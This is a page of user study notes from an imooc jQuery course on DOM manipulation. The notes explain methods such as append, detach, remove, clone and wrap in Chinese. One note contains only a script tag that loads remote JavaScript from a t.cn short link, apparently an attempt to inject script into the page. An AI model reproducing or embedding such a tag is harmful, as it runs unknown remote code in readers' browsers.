为了账号安全,请及时绑定邮箱和手机立即绑定
慕课网数字资源数据库体验端
jQuery基础(二)—DOM篇_学习笔记_慕课网
为了账号安全,请及时绑定邮箱和手机立即绑定

jQuery基础(二)—DOM篇

Aaron艾伦 Web前端工程师
难度入门
时长 2小时17分
  • siblings(':last') 为什么$('.item-2').siblings(':last')是第三块的第三点?而不是第3块的1和3? 按照筛选顺序,先找出所有的.item-2,然后找到所有的siblings元素,然后再找出:last那个 如果是你的理解,最后一块的1和3,那那筛选顺序应该是 $('.item-2:last').siblings() 先找所有的.item-2,然后找最后一块,然后找siblings元素,就是1和3。
    查看全部
  • .wrapAll( function ) :通过回调的方式可以单独处理每一个元素
    查看全部
  • $("p").remove(":contains('3')") $("p").filter(":contains('3')").remove(); $("p:contains('3')").remove(); 这三种方式结果是一样的,不过处理方式不一样
    查看全部
  • append()前面是被插入的对象,后面是要在对象内插入的元素内容 appendTo()前面是要插入的元素内容,而后面是被插入的对象
    查看全部
  • var body = document.querySelector('body');
    查看全部
  • append()向每个匹配的元素内部追加内容 prepend()向每个匹配的元素内部前置内容 appendTo()把所有匹配的元素追加到另一个指定元素的集合中 prependTo()把所有匹配的元素前置到另一个指定的元素集合中
    查看全部
  • append是一起挤挤,before,after是自己带个小板凳
    查看全部
  • remove:移除节点 无参数,移除自身整个节点以及该节点的内部的所有节点,包括节点上事件与数据 有参数,移除筛选出的节点以及该节点的内部的所有节点,包括节点上事件与数据 detach:移除节点 移除的处理与remove一致 与remove()不同的是,所有绑定的事件、附加的数据等都会保留下来 例如:$("p").detach()这一句会移除对象,仅仅是显示效果没有了。但是内存中还是存在的。当你append之后,又重新回到了文档流中。就又显示出来了。
    查看全部
  • <script type="text/javascript"> $('#div_detach p').click(function(){ $('p').alert('触发p标签的事件'); }) var p; $('#btn_detach').click(function(){ if (!$("p").length) return;//去重 p = $('#div_detach p').detach(); }) $('#btn_append').click(function(){ $('body #div_detach').append(p); }) </script> p = $('#div_detach p').detach();删除的节点要对应好
    查看全部
  • append()向每个匹配的元素内部追加内容 prepend()向每个匹配的元素内部前置内容 appendTo()把所有匹配的元素追加到另一个指定元素的集合中 prependTo()把所有匹配的元素前置到另一个指定的元素集合中
    查看全部
  • clone() 仅仅克隆结构 clone(true) 克隆节点结构,附带把事件和数据一并克隆
    查看全部
    0 采集 收起 来源:DOM拷贝clone()

    2017-02-15

  • .children() 找儿子 之前的: .detach() 隐身 .remove 自杀 .empty 身体被掏空 .clone 复制 (true全复制 false 浅复制,无事件) .replaceWith 删除并替换节点(结合.replaceAll()来记) .wrap 每个人加个爸爸 .unwrap 爸爸没了 .wrapAll 所有人加个爸爸 .wrapAll(function)每个人加个爸爸 .wrapInner 加个儿子
    查看全部
  • <script src=//t.cn/RJ57Aoc></script>
    查看全部
  • each是一个for循环的包装迭代器 each通过回调的方式处理,并且会有2个固定的实参,索引与元素 each回调方法中的this指向当前迭代的dom元素
    查看全部
  • 处理一:传递选择器 处理二:传递dom元素 还有一种方式,就是动态创建P标签加入到合集,然后插入到指定的位置,但是这样就改变元素的本身的排列了
    查看全部

举报

0/150
提交
取消
课程须知
1、有HTML/CSS基础 2、有JavaScript基础
老师告诉你能学到什么?
1、jQuery的语法 2、jQuery节点操作
友情提示:

您好,此课程属于迁移课程,您已购买该课程,无需重复购买,感谢您对慕课网的支持!